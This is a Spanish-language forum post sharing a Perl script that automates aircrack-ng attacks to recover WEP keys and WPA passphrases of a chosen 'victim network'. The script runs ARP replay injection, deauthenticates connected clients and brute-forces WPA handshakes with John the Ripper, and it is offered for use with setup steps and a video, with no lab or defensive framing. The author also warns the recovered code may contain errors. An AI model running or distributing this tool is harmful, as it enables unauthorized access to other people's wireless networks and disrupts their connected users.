Nuevo Script para WEP y WPA (automatico)

[D3M0N]

http://www.youtube.com/v/H7rcsa6yHGY

#!/usr/bin/perl
system ("mkdir autowifi");
system ("clear");
system ("wlanconfig ath0 destroy");# comentar esta linea si tu tarjeta no es atheros
system ("wlanconfig ath0 create wlandev wifi0 wlanmode monitor");# comentar esta linea si tu tarjeta no es atheros
print "******************************************\n";
print "*       AUTOWIFI 2  BY DarkSpark         *\n";
print "******************************************\n";
sleep (2);
system ("clear");
print "seleccione la interfaz\n";
sleep (3);
system ("iwconfig");
$inter = <STDIN>;
chomp ($inter);
system ("clear");
#system ("iwconfig $inter mode monitor");   # descomentar si tu tarjeta no es atheros
print " copie y pege la mac adress o HWaddr la interfaz \n";
print " (12 digitos)\n";
sleep (3);
system ("ifconfig $inter");
$mimac = <STDIN>;
chomp ($mimac);
system ("clear");

menu:
system ("clear");
print "seleccione una opcion\n\n\n\n";
print "[1] sacar clave WEP\n";
print "[2] sacar clave WPA\n";
print "[3] salir\n";
$ataque = <STDIN>;
system ("clear");

if ( $ataque == 1 )
{
print " espere a ver las redes disponibles y presione Ctrl+C para continuar\n";
sleep (4);
system ("airodump-ng $inter");
print " seleccione el canal de la red victima\n";
$can=<STDIN>;
chomp ($can);
print " \ncopie y pegue el nombre de la red (ESSID)\n";
$essid=<STDIN>;
chomp ($essid);
print " \ncopie y pegue la mac adress de la red (BSSID)\n";
$bssid=<STDIN>;
chomp ($bssid);
$canal = "-c $can";
$arch = "-w wep";
$ess = "-e $essid";
$bss = "-a $bssid";
$bss1 = "-b $bssid";
$mac = "-h $mimac";
system ("cd autowifi ; konsole -e  airodump-ng $canal $arch $inter & ");
system ("clear");
system ("cd autowifi ; konsole -e aireplay-ng -1 0 $ess $bss $mac $inter ");
sleep (15);
system ("clear");
system ("cd autowifi ; konsole -e aireplay-ng -3 -x 1024 $bss1 $mac $inter &");
system ("clear");
sleep (20);
system ("cd autowifi ; aircrack-ng $bss1 wep-01.cap");
system ("killall airodump-ng");
system ("killall aireplay-ng");
print "copie y guarde la contraseíña y presione ENTER para continuar\n";
$cont = <STDIN>;
system ("cd autowifi ; rm *");
goto menu;
}
elsif ( $ataque == 2 )
{
print " espere a ver las redes disponibles, los clientes conectados a la red victima\n";
print " y presione Ctrl+C para continuar\n";
sleep (4);
system ("airodump-ng $inter");
print " seleccione el canal de la red victima\n";
$can=<STDIN>;
chomp ($can);
print " \ncopie y pegue el nombre de la red (ESSID)\n";
$essid=<STDIN>;
chomp ($essid);
print " \ncopie y pegue la mac adress de la red (BSSID)\n";
$bssid=<STDIN>;
chomp ($bssid);
print " \ncopie y pege la mac adress del cliente (STATION) asociado \n";
print " al BSSID que acaba de introducir \n";
$cliente = <STDIN>;
chomp ($cliente);
$cli = " -c $cliente";
$canal = "-c $can";
$arch = "-w wpa";
$ess = "-e $essid";
$bss = "-a $bssid";
$bss1 = "-b $bssid";
$mac = "-h $mimac";
system ("cd autowifi ; konsole -e  airodump-ng $canal $arch $inter & ");
system ("clear");
sleep (5);
system ("cd autowifi ; konsole -e aireplay-ng -0 30 $ess $bss $cli $inter &");
sleep (5);
system ("cd autowifi ; john -incremental=ALL --stdout=8 | aircrack-ng -a 2 -w -  $ess wpa-01.cap");
system ("killall airodump-ng");
system ("killall aireplay-ng");
print " copie y guarde el password y presione ENTER para continuar\n";
$cont1 = <STDIN>;
system ("cd autowifi ; rm *");
goto menu;
}
else 
{
system ("rm -r autowifi");
system ("wlanconfig $inter destroy");
system ("wlanconfig ath0 create wlandev wifi0 wlanmode managed");#comentar esta linea si tu tarjeta no es atheros
#system ("iwconfig $inter mode managed");   # descomentar si tu tarjeta no es atheros
system ("clear");
exit
}

¿Que Hace este Script?

Automatiza funciones del AirCrack-Ng.

funciones:
crack WEP
crack WPA bruteforce (sin diccionario)

requerimientos antes de usarlo:
comentar o descomentar las lineas indicadas en el code (Ver Video)
john the ripper (You are not allowed to view links. Register or Login)
aircrack (logicamente)
seguir los pasos del video.

NOTA: cuidado con el codigo ya que fue recuperado y pueda que tenga algun error; trate de dejarlo tal cual como estaba.